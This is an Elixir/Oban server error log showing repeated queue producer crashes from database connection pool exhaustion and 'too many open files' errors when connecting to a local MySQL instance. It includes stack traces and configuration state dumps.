State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:18:02.239704Z], limit: 5, uuid: "ec8c18a8-419b-4f3b-b5c8-301e8661043e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:02.239710Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114294>, refresh_timer: #Reference<0.2525715032.1121189889.114234>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:18:02.242217Z], limit: 3, uuid: "0830e78a-c681-4a4d-88c9-fdb259cb57d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:02.242222Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114298>, refresh_timer: #Reference<0.2525715032.1068498948.2994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:18:02.239931Z], limit: 5, uuid: "1d1cecff-edec-428d-9104-bde465bf5724", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:02.239937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114295>, refresh_timer: #Reference<0.2525715032.1121189889.114247>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:18:02.240225Z], limit: 20, uuid: "cabf87f7-2e36-475d-8c37-2d25d7536ff7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:02.240230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114297>, refresh_timer: #Reference<0.2525715032.1099431938.15491>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:18:02.239961Z], limit: 50, uuid: "9087c0ba-0434-43f4-b2be-0931f3918dca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:02.239966Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114296>, refresh_timer: #Reference<0.2525715032.1121189889.114251>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:14.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:16.232000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:20.135000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:20.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:18:10.237791Z], limit: 10, uuid: "1158a4f3-0292-4cbc-9858-a1a6dc57a02f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:10.237798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114462>, refresh_timer: #Reference<0.2525715032.1121189889.114454>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:22.828000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:23.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:26.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:18:14.239301Z], limit: 5, uuid: "0fd9bbc5-4b75-414b-aa52-ab2dc4f94c98", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:14.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3213>, refresh_timer: #Reference<0.2525715032.1068498948.3207>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:26.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:18:14.238814Z], limit: 5, uuid: "f1fe4c16-39aa-4794-9e71-8b116e05fe09", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:14.238821Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3215>, refresh_timer: #Reference<0.2525715032.1121189889.114589>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:18:14.239511Z], limit: 20, uuid: "55d6f570-705c-48d6-a2cd-8ea057dff444", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:14.239516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114612>, refresh_timer: #Reference<0.2525715032.1121189889.114604>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:26.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
